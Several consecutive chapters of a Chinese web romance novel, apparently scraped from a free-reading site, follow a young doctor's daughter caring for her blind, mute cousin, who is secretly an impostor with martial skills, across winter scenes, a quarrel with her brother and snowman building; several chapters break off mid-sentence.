苏川柏两兄弟趁着人多时偷偷溜了,此时人影都不见,倒是苏祈春一直坚持着,在他身后端正地坐好,手里握着毛笔,一撇一捺都全心全意。 苏知辛站起身,身后的小人儿跟着站起来,脸上带着些焦急,眉头都皱起了。 “想回家了?”苏知辛见着苏祈春着急的样子,摇头笑道。 若是无事,苏祈春甘愿在怀仁堂治病救人,呆到多久都可以,但她心里还记着陆之山的眼伤,她答应陆之山要每日为他敷药的。 既是说过的话,那便永远都算数,永远都要做到。 可今日,天色已黑,她还没回去,也不知陆之山睡了没?茯苓有没有把话带到? 苏祈春脸望着苏知辛,身子不由自主地往外走,她摇摇头,又点点头,眉头越皱越紧,“爹爹,我想回去。” 她巴巴地望着苏知辛。 苏知辛感叹小孩子终究还是小孩子,总归是恋家的,他摆摆手,道:“那就回去。” 话刚说完,苏知辛身前便旋起一阵风,,再抬头时,小小的人影已不见踪迹,彻底隐入黑暗。 苏祈春一路跑着,她抬头瞥了眼月亮,那月亮又大又圆,圆盘一般挂在天上,她在心里暗暗算了算时间,脚下的步子更快了些,她怕,她好怕陆之山没有等她。 他的眼要每日敷药的。 苏祈春越想跑得越快,在路上连着摔了好几个跟头,脸上的面纱被树枝扯掉,一边的面靥被划破一个口子,火辣辣的疼。 茯苓远远地就瞧见一个少年,白衣胜雪,正在感叹是谁家的小公子呢,定睛一看,竟是自家女郎。 “女郎,你怎么弄成这副德行了?”茯苓指着苏祈春脸上的伤口,身上的一团污泥,皱起了眉。 苏祈春跑的上气不接下气,来不及回答茯苓的话,赶忙问:“你和山哥哥说了吗?” “说……”茯苓一下子想不起来是何事,又见苏祈春着急的眼神,心下一急,骤然想起今早苏祈春走时嘱咐她的话,“说了啊!” 茯苓瞧着苏祈春的样子,便不敢说真话,她真怕说了真话,苏祈春会打死她。 果然,听了茯苓的话,苏祈春松了口气,她抚着胸口,顺着气,喃喃道:“还好还好,那山哥哥应该还在等着我。” 茯苓有些心虚,试探地问:“女郎,今日天色已晚,不然明日再给陆公子敷药?” 苏祈春立马摇摇头,“不行,山哥哥的眼要每日换药的,而且”苏祈春的眼变得很亮,“这是我答应他的事。” 茯苓心里连连叫苦,他都不会说话怎么就答应他了? 苏祈春将手中的面纱塞到茯苓手里,望着月雪阁而去。 茯苓在后面追着,“女郎,这么晚了……” “山哥哥在等我呢。” 茯苓站在原地跺跺脚,心里叫苦不迭。 苏祈春提着长长的裙裾奋力跑着,周遭岑寂,只有苏祈春的脚步声。 她跑到月雪阁前站定,脸颊上因为太热而染上了些薄红,额上也汗涔涔的全是汗水。 月雪阁一片静谧,牌匾旁的灯烛亮着,隔着窗纱透出些淡黄色的光,清晨初升的辰光一般,幽幽地照在墨底金字的牌匾上。 苏祈春抬起小手,准备去敲门,却在门缝间瞧见了空无一人的院落,孤零零的青松立在院内,池子中泛着波光的水照出它的倒影,以及月亮的影子。 苏祈春脸往门缝上贴了贴。 院子尽头的屋子看上去一片黑暗,仿佛和这黑夜融为一体,黑黢黢的,静悄悄的。 天上忽地起了一阵风,吹得青松树树叶沙沙作响,苏祈春身上一阵阵的冷,她咬紧下唇,可怜地想:“山哥哥今日还未换药呢。” 他的眼伤那么严重,不换药怎么行? 她的手放在门环上,几次想去拍门,可她又想到:“山哥哥没有等她……” 她站在月雪阁门口想了很久,风吹得她身上的汗都干透了,她有些冷,双手环抱着自己,一步步往回走。 茯苓拿着件氅衣跑过来,见着苏祈春失魂落魄的样子,将氅衣披在她身上,安慰着说:“女郎,你看,就说不让你来吧,这么晚了,人家肯定休息了,有什么事明天再弄。” 苏祈春眼睛垂下来,双肩躲了躲,躲过茯苓的手,风呼呼地吹着她,吹得她眼都睁不开了。 “女郎,你这是干嘛?”茯苓手里拿着氅衣,有些不解。 苏祈春望着地上自己的影子,短短的,瘦瘦的,像星子像灯光,电光火石的一瞬,她忽地转身,没命地往回跑。 冬日凛冽地风夹杂着茯苓的话缠绕在她耳边,她鼻子有些酸,但却大声地说着,“山哥哥一定还在等着我,我要去找他。” “你怎么知道?你别傻了,人家都睡觉了。” “我就是知道!”苏祈春也不明白为什么自己会知道,但她就是隐隐约约地觉得自己知道。 就像树木向阳而生,太阳东升西落。就是会这样,就是要这样。 苏祈春再次站在月雪阁前,青松依旧孤独地昂立,她深吸一口气,发亮的眸子充满忐忑。 她抬起手,握住门上的铜环,手微微攥紧,泠泠的月光照出她发白的唇色,她咬咬牙,用力地按下去。 没有想象中的闷闷的敲门声,反而是吱呀一声,门开了。 苏祈春一瞬间,像是跌进了雪里,厚厚的一堆雪,少年身上独特的冷意发寒,冰得苏祈春打了个冷颤。 陆之山往后退一步,微苦的味道比以往更重了些,只是今日,他没有听到铃声。 没有铃声,他还以为不是她呢。 他还以为自己是在自作多情。 他还以为苏祈春的可怜也不过零星一点。 苏祈春稳稳地站好,有些娇羞地低着头,望着陆之山的鞋尖,像在自言自语,“山哥哥。” 陆之山耐心地听着苏祈春的话。 苏祈春想了想, 13. 见不得 《我表兄天下第一甜》全本免费阅读 茯苓在院里看着药炉,心里却心不在焉的,时不时往心正庐那边看,心虚又害怕。 她家小女郎是个乖巧可爱极好心肠的人,但又格外地认死理儿,她要是知道她压根儿没和陆之山说,指不定会生气成啥样。 她越想越觉得坐立难安。 不过这事儿倒也不一定会被发现,陆之山是个瞎的,还是个哑的,什么都说不了,那这件事自然也没法儿和苏祈春说。 想至此,茯苓的心总算安稳地落下来。 “砰”地一声,心正庐的门被风吹开,摇晃着撞向两边的翠竹影上。 茯苓站起身,只见心正庐内亮着昏黄的灯火,小女郎和少年从一片亮光中走出,小女郎脸上带着盈盈的笑,少年则低着头,像是在认真地听着。 有一瞬间,茯苓有些晃神,只觉这真是一对金童玉女,少年清朗俊秀,女郎娇俏可人,站在一块儿,十足十地般配,百分百地登对。 小女郎引着少年从光亮中走到光亮中,少年系于脑后的白色布条随风而荡,茯苓像被刺了眼一般抖了一下,摇摇头,心里想着:说到底还是个又瞎又哑的残废,怎么能和她家的小女郎相提并论呢? “茯苓!”苏祈春唤着茯苓的名字。 茯苓回过神来,望向苏祈春,三两步跑过来,“女郎,这么冷的天气别在外面站着了,快进屋吧。” 苏祈春冻得鼻尖都红了,呵出去的气变成一团团白雾,她摇头,脸上挂着笑,“要送山哥哥回月雪阁。” 茯苓一听心里就开始嘀咕起来,陆之山长得倒是一表人才,但连回家都不能一个人回,又瞎又哑,连路都不认识,还要妹妹送。 茯苓自认若是她自己有个这样的表哥,定然敬而远之,但苏祈春却偏偏一点都不嫌弃,反而更加照顾他。 这一点茯苓着实想不明白,但转念间,茯苓回忆起苏祈春从前照顾她们这些生病的侍女时的样子,心下又有些豁然开朗。 “女郎,不然我替你送陆公子回月雪阁?”茯苓提议。 风卷起苏祈春的裙裾,苏祈春的头发被吹散,连着眉尾都染上一些冷冻的红,她想也没想,出声拒绝。 “我要自己送山哥哥。” 茯苓就知道她家女郎是个倔强的性子,也不多劝,只是牢骚一句,“多冷啊。” 苏祈春打了个哆嗦,挽住陆之山的胳膊,仰头望他,眉眼弯着,“茯苓,快去替我拿件氅衣,好冷,就这几步路我来送山哥哥。” 茯苓“哎”了一声,转身回屋去拿衣服,心里感叹着她家女郎就是心肠好。 陆之山脸上的冷稍稍褪了褪,嘴角极轻地翘起来,他低头对着苏祈春的方向,耐心地听着苏祈春的絮叨,听到她话语里被风吹抖的声音,他又会皱眉,像是真的很心疼这个妹妹。 苏祈春裹上厚厚的氅衣,雪白的领子围在她的脖颈上,衬得她粉嘟嘟的脸格外清丽,她抓着陆之山的手腕,踏在月光照下的清辉上,一大一小两条影子相互挨着,其乐融融。 路虽不长,但苏祈春小嘴却没停过,硬生生地说了一路。 无论何时她扭头去看陆之山,总能看到陆之山低头聆听的样子,是以虽然陆之山一句话没说,但苏祈春就是觉得陆之山有在好好听,就会觉得格外地安心。 陆之山口不能言,眼不能看,但耳朵却格外聪慧,他忘却了太多的东西,听苏祈春讲的所有事他都觉得有趣,觉得苏祈春口中的事一定是很美好的事。 他常听着听着心便会热起来,好像被一只温暖的手捧起来,呵了一口热气一般。 苏祈春今日去了怀仁堂,便说起许多跟病人有关的趣事,陆之山听得嘴角微微笑。 快到月雪阁时,苏祈春声音渐渐低下来,飞快地说完最后一句话,风吹得氅衣上的雪白领毛翻飞。 陆之山耐心地等着苏祈春说完,在月雪阁门口站定,面对着苏祈春。 苏祈春缩起脖子,拍拍陆之山的胳膊,眯眼笑,“山哥哥,你快回去休息,记得我们的约定。” 陆之山久久回望着苏祈春,像是风花了很久的时间才将话送到他耳中,他点点头,极力遏制着喉咙中喷薄而出的话语,隐在袖中的手青筋暴露。 月雪阁檐下的灯烛已快燃尽,微弱的灯光晕染出橘黄的光圈,陆之山立在原地,听着苏祈春转身而去的脚步声,隐隐觉得不对。 风声凛冽,另一阵脚步声传来,苏祈春停下,回看不远处的一片竹林。 苏川谷叼着一根草从竹林的黑暗处走出来,不怀好意的目光从陆之山和苏祈春身上扫过。 苏祈春想起今日之事,雪白的一团回到陆之山的旁边,站在他身前,怒视着苏川谷。 “妹妹,原来你说的有事就是来见他啊?”苏川谷抱着胳膊,眼睛眯着,目光游荡在两人之间。 “你想干什么?”苏祈春此时活脱脱一只幼兽模样,张着翅膀保护着陆之山。 苏川谷猜测着这两人之间有什么猫腻,他是个小人,自然想不到好地方去。 “我在想这个又瞎又哑的人有什么好的?你要知道,我才是你亲哥哥。” 苏祈春瞪圆了眼,后半句她一点没听到,只记得前半句“又瞎又哑”这几个字,她咬着唇,呛声道:“我不许你这么说山哥哥。” “不许?”苏川谷勾着邪魅的笑,他走到陆之山面前,盯着他,一字一句地说:“你就是那个又瞎又哑的陆之山?” 陆之山牙关咬紧,嘴唇抿成一条线,他的脸冷得更加彻底,连着苏川谷都不禁被这寒意冷到。 但苏川谷仍死死地盯着他,嘲讽地说:“ 14. 最重要 《我表兄天下第一甜》全本免费阅读 14最重要 “陆之山,你……你想干什么?”苏川谷欲要抽出双手,但少年的掌风如游鱼一般,追着他的手,一掌掌劈下去,钻心的疼。 苏川谷踉跄后退几步,不可置信地看着眼前这个双目失明的少年,几乎要怀疑,他究竟是真瞎子还是装的。 月光下,少年长身玉立,周身散发出一股无形的威压,阵阵的冷从他身上弥散,冷意所及之处,令人不寒而栗。 陆之山几乎是下意识地击出这几掌,熟悉的内力在他身体里盘旋,他的经脉随之一寸寸暖起来。 无数的影子随着内力的流转在他脑中掠过,蝴蝶扑扇翅膀飞去一般,他仿佛置身于一处血海尸山中,滚烫的血从地上铺满的尸体上流出,他独立于此,手中饮血的剑发寒。 他有些恍然,手心一阵麻意,忘了自己究竟置身何地,耳边苏川谷仍在咆哮。 “陆之山,你敢打我?”苏川谷被一个瞎子打得连连后退,若是传出去,他的脸往哪搁?他瞧着陆之山,从怀中捏出一根极细的银针,极快地将银针抛出。 黑夜里,银针针尾闪着几乎看不出的银光,直直地往陆之山面门上射去。 苏祈春躲在陆之山身后,一眼瞧见那闪着银光的针尾,抓紧陆之山的后背大喊,“山哥哥小心!” 一瞬之间,银针的动作仿佛被放缓一般,陆之山神色不动,只是轻轻一挥手,像在做一件极其自然的事,轻而易举地就捏住了那银针。 银针安然地夹在陆之山的两指之间。 苏川谷见自己的阴谋没有得逞,不动声色地往后退着,边退边不忘骂骂咧咧地说:“陆之山,你别忘了你的身份,你姓陆,你住我家还敢打我?你等着!” 听着苏川谷这般不讲理的话,苏祈春从陆之山背后走出来,反驳道:“苏川谷,你不要欺人太甚,这是山哥哥,是我们的亲人。” 苏川谷一转身跑得没影儿,冷风呼啸着,苏祈春嘟着嘴,回身去看陆之山。 许是被银针吓到了,陆之山摊着双手,低着头,像在想什么。 “山哥哥。”苏祈春握住陆之山冰冷的手腕,皱皱眉,“山哥哥,快进屋吧,你都冻僵了。” 苏祈春的话语里满是心疼。 陆之山心间一动,缓缓抬头,正对着苏祈春的方向。 苏祈春挽着他的胳膊,带他进月雪阁,月雪阁中静悄悄的,只听得到苏祈春的声音,苏祈春昂着头,眼睛亮亮的,眉飞色舞一般,说起方才的事,眼里都是崇拜。 她兴冲冲地说:“山哥哥,没想到你还会武功,真厉害。” 她从前只在话本子里见到过大侠,听说过武功,要说看见,这还是第一次。 那一幕幕场景像篆刻在她脑海里一样,她也因此知道原来这世上真的有人可以一招破万钧。 陆之山握紧发麻的手,有些茫然,他曾想象过很多种自己的身世,但他竟没想到自己会武功。听苏祈春说会武功的都是大侠,那也许自己失忆之前也是个锄强扶弱的大侠客。 夜风吹起脑后的布带,也吹走些许阴霾,陆之山瞬间轻松下来,又听到苏祈春说: “山哥哥会武功,真是一件奇妙的事,纤纤很开心。” 陆之山想不通这有什么值得开心的,他纵然会武功,也不过是个瞎子,又有什么用呢? 苏祈春继续说:“山哥哥有武功,就没人敢欺负纤纤了,纤纤知道山哥哥一定会保护纤纤的。” 陆之山微微笑,不知可否。 “最重要的是——”苏祈春在屋门前停下脚步,扭头去看陆之山几近透明的侧脸,她认真地说:“最重要的是,山哥哥可以保护自己了。” “以后没人敢欺负山哥哥了。纤纤好开心。” 陆之山的指尖颤了一下,发麻的手心像失去知觉,他僵硬地侧过脸,那股微苦从鼻尖蔓延到心口。 “山哥哥。”苏祈春声音变得很轻,陆之山耐心地听。 “纤纤要回去了,明天山哥哥一定要等我。” 陆之山点头,扭身对着苏祈春离去的方向。 没有叮当的铃声,只有轻快的脚步踏在如霜月色下的碰撞声。 在风里,陆之山能听到很远之处的声音,因此他站了很久才离开。 一连几日,不论多晚,青松树下,总能见到一抹白色的欣长身影,他久久地伫立在那,等到夜霜落满双肩,圆月泛出霜似的白时,一个小小的身影便会从岑黑中出现,一团雪儿似的,扑到陆之山身上,熟捻地挽住他的胳膊。 陆之山总会顺从地被她拉着走,一路上,听着她的各种絮叨,有时他会跟着笑,那笑淡淡的,却格外温暖,像冰川上的一簇火苗。有时他会跟着皱眉,甚至生气,只因他听出苏祈春的沮丧与悲伤。 而他不想让她悲伤。 这一来二去,月雪阁中的人都知道苏祈春日日要来找陆之山,一见苏祈春来便去唤他家公子。 苏泽兰日日瞧着苏祈春过来,瞧见她仰头看陆之山的样子,心里是真心欢喜这个小女郎。 她不禁心头感叹,这苏家也就苏祈春是真心关心陆之山,真心不嫌弃他的病,真心希望陆之山快些好起来的。 正想着,陆重推开门走进来,外面风雪正盛,他身上的灰鼠氅衣上犹带着些零星的雪粒子,浑身泛着寒气。 苏泽兰上前,替他掸去身上的冷寒,回头一看他阴沉的脸,心下不解,问道:“你去三弟那里怎么样?苏川谷的病可有大碍?” 苏川谷前些日子不知何故得了病,缠绵病榻好几日了,苏知辛开了些方子也总不见好,拖到今日,陆重少不得要去看看。 陆重缓步走到桌子前,端起桌上的热茶嘬了一口,脸上愁眉不展。 他今日去看苏川谷时,才知道苏川谷是被陆之山打伤的,伤的很重,胳膊几乎都抬不起来,苏知辛说没有十年的功底不能将人伤成这样,老夫人心疼陆之山,又知苏川谷平日的德行,将此事掩下,这才没让陆重他们知道。 “苏川谷伤到了手腕,要修养些时日。” 苏泽兰只当是小孩子胡 15. 冒牌货 《我表兄天下第一甜》全本免费阅读 15冒牌货 狭小的耳房里转瞬被陆重的质疑声所笼罩,灯烛立在两人之间劈里啪啦地燃烧,陆之山脸上染上些橘色的黄,他脸上平静,似乎并未被影响,淡淡开口道:“他伤了纤纤。” “所以呢?”陆重声声质问,他实在害怕,害怕陆之山的身份被发现,害怕苏泽兰的伤心与怒火,“那不过是苏祈春与苏川谷兄妹之间的打闹。” “那不是。” 陆之山回得坚定,坚定到陆重也有些心虚,他指着陆之山,恨铁不成钢一般,道:“就算不是也有苏家人给苏祈春做主,轮不到你来出头,你不要忘了你自己的身份!” 耳房中瞬间安静下来,只有烛火燃烧灯芯的声音。陆之山梗住,不知道说什么,苏祈春自然有苏家人为她撑腰,而他,一个冒牌货,一个假表兄,又出来逞什么英雄? 他想至此,嘴角掠过一丝苦笑。 陆重盯着陆之山紧抿的嘴唇,见他神色变化,脸色渐渐缓下来,深深地叹口气,从袖中掏出一颗梨膏糖来,递给陆之山,道:“好好做好陆之山。” 手心的梨膏糖坚硬,陆之山捏着它,分明的棱角硌得他手疼。 陆重瞥了他一眼,压低了声音道:“苏祈春是苏家的独女,她现在对你好,不过是因为你是她的哥哥,若她知道真相……” “我知道。”陆之山捏紧手中的梨膏糖,不愿他再说下去,“你放心,我既然答应了你,便会做到。我会做好陆之山,这话永远都作数。” “好。”陆重满意地看着他,拍拍他的肩膀,“这才是我的好儿子。” 梨膏糖很甜,放进嘴里,浓厚的糖浆包裹在齿舌之间,甜腻地化成一团。 陆之山一点点品尝着这一点甜,似被俘获,似被绑架。他想起刚被陆重救下时的场景,他遍体剑伤,浑身的伤口都在淌血,都在撕裂的痛,更要命的是他的眼看不见了。 他也不知道自己身在何处,来自哪里,他想活下来,唯一能依赖的就只有陆重。 而陆重不过是要求他假装一个哑巴,这交换对当时的他来说着实合算。 况且陆重救了他的命,他总下意识地觉得,救命之恩,当涌泉相报。 不仅如此,若是他不再是陆之山,所有的温暖也会消散,所有的善待便成乌有,他如今得到的一切也不过是因为他是陆之山而已。 所以他只要做好陆之山就可以了,至于他自己是谁,根本不重要。 陆重推开门离开,耳房里,只剩下陆之山长长的身影,梨膏糖逐渐在口内融化消失,他缓缓转身,夹着雪粒子的风顺着开着的门处吹进来。 他嘴唇被吹得发白,蓦地想起他第一次去心正庐时,苏祈春给他的那一大把梨膏糖,她笑着和他说:“梨膏糖很甜,吃了就不觉得药苦了。” 他苦涩笑笑,认同地点点头,梨膏糖真的很甜。 湛江县一天天地冷下来,屋外冰天雪地的,全是积雪,湛江县十几年以来,头一次下这么大的雪,众人纷纷感叹,今年是个寒冬。 是以湛江县的老老小小都不顾严寒,跑到大街上打雪仗,堆雪人,热闹得像过年一般。 苏府里,因着雪大路滑,老夫人下了死命令,都不许苏祈春兄妹几人再去怀仁堂,好好地呆在家里,不许出门,生怕几人摔着冻着。 苏祈春这几日都呆在觉明院中,除了每日给陆之山换药外,其余时间都在跟着杨夫人学学刺绣女工。 杨夫人未出嫁前,是闺阁之中有名的刺绣好手,所绣之物无不活灵活现,栩栩如生,苏祈春不爱这些玩意儿,却也觉得好,也能耐下心来跟着绣几个花样。 几日以来,苏祈春绣了各类花草鸟兽,渐渐有些厌烦,双手捧着脸颊,望着眼前的香囊绣帕,提不起兴趣。 杨夫人瞧着苏祈春愁眉苦脸的样子,忍着咳意,笑道:“纤纤怎么不缝了?” 苏祈春嘟囔着嘴,摇头道:“刺绣一点儿都不好玩,没意思,翻来覆去就是这些鸟儿花儿的。” 杨夫人靠在床靠上,伸手摸摸苏祈春的黑发,打趣道:“鸟儿花儿的都是女儿家要学的,日后出嫁时,这嫁衣喜服,哪个上面不得绣这些?” 哪有女儿家提起婚嫁之事不害羞的?苏祈春也不例外,她听着听着脸就红了,身子别到另一边,含羞道:“纤纤才不嫁人,纤纤要永远陪着爹爹和娘亲。” 听了这话,杨夫人不觉和一旁的茯苓互相看一眼,忍不住地笑出来。 茯苓道:“女郎,哪有女儿家不嫁人的,又说胡话了这不是?” 苏祈春此时已羞得满脸通红,她双手捂着脸,嘴里嚷着不让她俩再说,可她俩偏偏取笑不停,苏祈春一嘟嘴一跺脚,一口气跑到了屋外。 杨夫人在后面喊着苏祈春。 茯苓笑着宽慰:“没事儿,女郎她指定又去找陆公子了。” “这丫头,当真与那山儿玩得好。” 屋外是漫天风雪,苏祈春一打开门,随风飞舞的雪粒子便扑进来,落了她满身,她打了个哆嗦,不自觉裹紧身上的氅衣,小小的身影踏进这雪白的天地间。 没一会儿,她乌黑的发上就落满了纯白的雪粒子,像是一瞬间白了头,她奔进月雪阁,跑到青松树下,挨着陆之山坐好。 陆之山似是在风雪中坐了很久,浑身上下没有一处不被雪粒子覆盖,连浓浓的眉毛上也沾满一层白色。 苏祈春靠在他身边,随意地挽住他的胳膊,贴近了他,嘴里咕囔着,“好冷啊,山哥哥,纤纤都冻僵了。” 说着,苏祈春摊开双手呵着气,嘴边升起一团团的白雾。 陆之山浑身僵着,胳膊艰难地动动,苏祈春不解地扭头看他,看他将自己的胳膊从她的手中抽出,拧起了眉毛。 “山哥哥,你……” 你怎么了? 从前苏祈春都是这样挽着陆之山的胳膊的,她不明白山哥哥今日为何这样。 她不死心,又一次挽住陆之山的胳膊,声音可怜,“山哥哥,纤纤冷,你不要走。” 16. 一抔雪 《我表兄天下第一甜》全本免费阅读 16一抔雪 苏祈春只觉一股暖流从陆之山的掌心中涌出来,山间突突冒出的温泉水一般温暖,她的手没一会儿便热起来,整个身子也变得暖暖的。 “山哥哥。”苏祈春仰脸笑,另一只手也钻进陆之山的掌心,“好暖和呀。” 陆之山白得透明的脸上露出一个笑,双手合拢在一起,手心的内力更汹涌了些。 青松树下,两人在皑皑白雪之间相依相偎,这画面称不上尽善尽美,倒也实在是兄妹情深。 月雪阁的丫鬟小厮们见到这画面,也不觉驻足停步,眉目之间,皆是艳羡。 不远处的屋内,苏泽兰笑着看着两兄妹,心里欢喜得紧,她拽拽陆重的袖子,指着两人,道:“你看他俩多好呀。” 陆重沉着脸看过去,眼底一片翻滚,冷哼一声,“有什么好的,孤男寡女,拉拉扯扯的。” 苏泽兰皱眉,打了陆重一下,“他俩是兄妹,你在胡说些什么?” 陆重心里藏着事,不敢让苏泽兰知道,搪塞道:“纤纤大了,便是兄妹,也不该走得这样近。” “你说的也对。”苏泽兰沉吟着,“但见到山儿有人陪着,我是真开心。”她想起陆之山一个人孤单的样子,忍不住心疼。 陆重又怎会不知苏泽兰对山儿的爱,两人沉默了片刻,苏泽兰幽幽地说:“纤纤是个好姑娘,也只有她,不嫌弃山儿又哑又瞎。” 苏祈春身上暖和了之后,拉着陆之山走到雪地里,她本穿着白色的氅衣,此时更加与一片雪白融为一体,只剩两个忽灵灵的黑眸能将她从一片雪中分离出来。 “山哥哥。”苏祈春捧着一抔雪,仰头看着陆之山,“纤纤好喜欢雪。” 陆之山低头,摸了摸苏祈春手心里的雪,雪花轻盈冰凉,指尖触之即化,留下一滴透明的水,冻得指尖冰凉。 陆之山猜苏祈春的手此时一定冻得通红,他悄悄运起内力,隔着白雪暖着苏祈春的手。 苏祈春手心的雪没一会儿便化成了雪水,一股暖暖的风向她的手中扑过来,她愣了愣,看向陆之山,心里蓦地甜甜的,反手握住陆之山的手,笑道:“山哥哥,没事的,纤纤不冷,我们一起去堆雪人吧。” 觉明院前有一大片空地,上面堆满了雪,茯苓从屋子里找来了铲子,木锨等一应工具,苏祈春鼻尖冻得红红的,却依旧力气满满,不等茯苓来,便徒手堆了一个又一个小雪包。 陆之山虽然看不见,但也陪在苏祈春的身边,施展内力,将一捧捧雪聚成一团,递给苏祈春。 “山哥哥。”苏祈春咧嘴笑,“多弄点儿,纤纤要做一个大雪人。” 苏祈春的声音如银铃一般,声声震开陆之山的耳膜。陆之山点点头,在心里回:好。 几人在白雪中忙活,时而对笑,时而互相将雪打到对方身上,嬉笑打闹一番,陆之山总安安静静地护着苏祈春,因此茯苓总是落败。 “你们兄妹两个耍赖,害我一个人对付你们两个。”茯苓不服气地说。 苏祈春颇有些小骄傲地挽住陆之山的胳膊,昂着小脸得意洋洋。 茯苓气不过,从觉明院中将杨夫人也拉了出来,可怜杨夫人一身的病,还要来这里主持公道。 杨夫人听罢茯苓的话,笑着说:“纤纤是小孩,你就让着她吧。” 茯苓跺脚,回道:“夫人!” 苏祈春冲茯苓扮了个鬼脸,趁她不注意,又将一个雪球打在她身上,茯苓自然要还回去,于是几人又打闹在一团,笑的笑,闹的闹。 杨夫人坐在轮椅上,静静地看着几人,目光不自觉地落在那欣长冷寂的人身上。 他少有地带着笑,虽然看不见,但却好像能看见一样,一直默默地对着苏祈春的方向,手中指尖不断变化,替苏祈春挡下一捧捧雪花。 风雪无声无息地落了他满肩,他好似无知无觉,像极了冰天雪地中的一株落雪青松。 杨夫人心下一动,骤然生出些欣赏来,只是瞧见他蒙在眼上的白布条,又兀自摇头,苍白的脸上蒙上些不经意的可惜。 几人打闹一番后,终于正正经经地堆起了雪人。几人在雪地里一阵忙活,苏祈春的手冻得红红的,又僵又疼,没弄一会儿就撇着嘴找陆之山暖手。 陆之山总是绝对耐心,不厌其烦地为她一次次暖手,他久不用内力,猛地用得过多,经脉处隐隐地疼,但他倒不在意似的,毫不吝啬地往外输着内力,倒像极了个称职的哥哥。 只是可怜了茯苓,只能眼巴巴地瞧着苏祈春和陆之山兄妹两个,自己哀叹着为什么自己没有一个兄长。 风渐住雪渐止。 觉明院前,几个小雪人拔地而起,昂然立在这冰雪天地间,苏祈春拍拍小手,颇为得意地看着自己的杰作,双手自觉地塞到陆之山手里。 感受到一阵冰凉的触感,陆之山忍着经脉的疼痛,微笑着暖着苏祈春的手。 “这几个雪人,当真是活灵活现的。”杨夫人摇着轮椅走到前面,眼里皆是赞赏。 “那是自然。”苏祈春的手很快暖和起来,她抽出来,指着领头的那个雪人,道:“这个雪人胖墩墩的,圆滚滚的,一看就是总是减肥失败的茯苓。” 杨夫人笑。 茯苓双手叉腰,咬牙切齿地说:“女郎你!” 苏祈春躲到陆之山身后,生怕茯苓来揍自己,好在有陆之山在,茯苓不敢怎么样。 “那这个呢?”杨夫人指着那个低眉细腰的雪人。 苏祈春望望杨夫人,笑道:“这个雪人这么温柔,那当然是娘亲你了,还有旁边这个儒雅风朗的,就是爹爹,爹爹和娘亲永远在一起,至死不分离。” 苏祈春一直觉得真正的爱本就是至死不渝,因此也不避讳说起生死。 杨夫人却想到自己一身的病,不免有些失落,她垂下眼,淡笑着指着旁边两个挨在一起的小雪人,“我猜这个一直笑的小雪人是纤纤。” 苏祈春有些害羞地捂着脸,点头道:“是的。” “这另一个……”杨夫人有些迟疑,她起初觉得是陆之山,但又想苏祈 17. 兔儿灯 《我表兄天下第一甜》全本免费阅读 17兔儿灯 苏祈春垂下困倦的眼角,点点头,“闲来无事,随手翻翻。” 说是随手翻翻,但记载眼疾的这几页上的痕迹却不像是随手,苏知辛也不戳穿,放下医书,笑着说:“纤纤近来还做针灸吗?” 苏祈春不解地看向苏知辛,她最近忙着陆之山的病,又要去怀仁堂学医,还真没什么时间弄她自己的那些小心思。 苏知辛解释道:“上次纤纤做的针灸着实舒服,这不,今日爹爹腆着老脸,来求苏祈春苏大夫再为爹爹施针一次。” 这话苏祈春可不敢当,她撑出一个笑,拉着苏知辛坐下,道:“爹爹说的这话,纤纤可当不起。” 苏知辛爽朗一笑,轻拍苏祈春的额角,“纤纤当得起,我的女儿我最知道。” 苏祈春不知道自己哪里当得起,自己平日至多就是给府里的丫鬟小厮看看伤寒跌倒摔伤之类的,正儿八经的大病一概没接触过。 如今来了一个陆之山,她却对他的病毫无头绪,一筹莫展。 “爹爹。”苏祈春目光落在桌案上的那本医书上,声音很轻,“纤纤才当不起。” 苏知辛是看着苏祈春长大的,他本来就只有这一个孩子,自然事事上心,他女儿是什么样的,他也一清二楚。 他知道苏祈春很喜欢治病救人,也很在意陆之山的病,但不管再好的大夫也有治不好的病,勉强不得,强求不来。 “纤纤,山儿的眼疾我今日去看了看。” 苏祈春顿了顿,等着苏知辛的话。 “是爹爹无能,这么久了还没有效果。”苏知辛叹息着道。 苏祈春声音越来越低,“不怪爹爹。” 昏黄的烛光映在窗纱上,照出窗外纷纷扬扬的雪,苏祈春想,也许很多事并非都能如人所愿,就像天上的风雪一样,是止是停都不以人力为转移。 她笑笑,从一旁的柜子里拿出一排针灸用的针,在书案上摊开,明亮的眸子对着苏知辛,“爹爹,不说这个了,纤纤给你针灸。” “好好。”苏知辛忙闭起眼,等着苏祈春的动作,心里思索着陆之山的病,又在想着怎么宽慰苏祈春。 没一会儿,苏祈春就扎好了一圈圈银针,银针针尾在光晕下闪烁,她常给觉明院中的人施针,故而对此格外熟悉。 以往苏祈春总是话很多,说也说不完,今日苏祈春却格外安静,沉默地都不像她了。 她盯着发光的针尾,想到觉明院外的那几个雪人,想着若是陆之山能看到就好了,那样就算太阳出来雪人化了也不要紧,因为她已经和陆之山看到了雪人最美的样子。 可惜这一切陆之山都看不到。 苏知辛有意多说些话让苏祈春开怀,便说起了不久后的上元佳节,问苏祈春有什么想玩的地方? 苏祈春无甚心思,歪头想想,随口道:“听祖母和娘亲的。” “纤纤有想去的地方吗?”苏知辛缓了缓,接着说:“我听说施家珍藏了一件稀世名药,可治眼疾,这上元佳节正值他家老夫人大寿,他们此时正广邀湛江县的有名才儒前去赴宴。” 苏祈春现时对“眼疾”这二字颇为敏感,一听这话,眼睛便亮起来,嘟着嘴道:“那纤纤也要去。” “嗯?”苏知辛佯装无知。 苏祈春见苏知辛这般模样,忍不住道:“爹爹!” 声音像是娇羞中又带着三分焦急。 苏知辛眉开眼笑,“知道了。” * 临近上元佳节,天气却一直不见好,时不时下起一场大雪来,是以地上的积雪始终未化,也赖着这寒冷,觉明院前的几个雪人都还手脚俱在,眉目清朗。 一来二去,路过的人多了,苏府上下人人都知道觉明院前有这么几个活灵活现的小雪人。 李夫人披着氅衣走到廊下,无意间听到洒扫的丫鬟们说起这几个雪人,顿时起了兴趣,要知道她在闺阁中时,上面有五个哥哥,常带着她瞎疯,对这些稀奇玩意儿最是欢喜。 她忙不迭地跑去看,这一看果然也觉得好,尤其是最边上的一对小人,相依相偎,好不可爱。 听觉明院的茯苓说这对小人是苏祈春和陆之山,这雪人也是苏祈春亲手堆的。 李夫人心里暗叹着苏祈春就是手巧,想着想着,又瞧见雪人脸上的白布条,不自觉地沉下脸。 这都是哥哥,怎么苏祈春偏偏就堆了个陆之山在身边? 说起来,自从陆之山来了,苏祈春便与他好得像是穿一条裤子的,这不知道的恐怕还以为陆之山是苏祈春的亲哥哥。 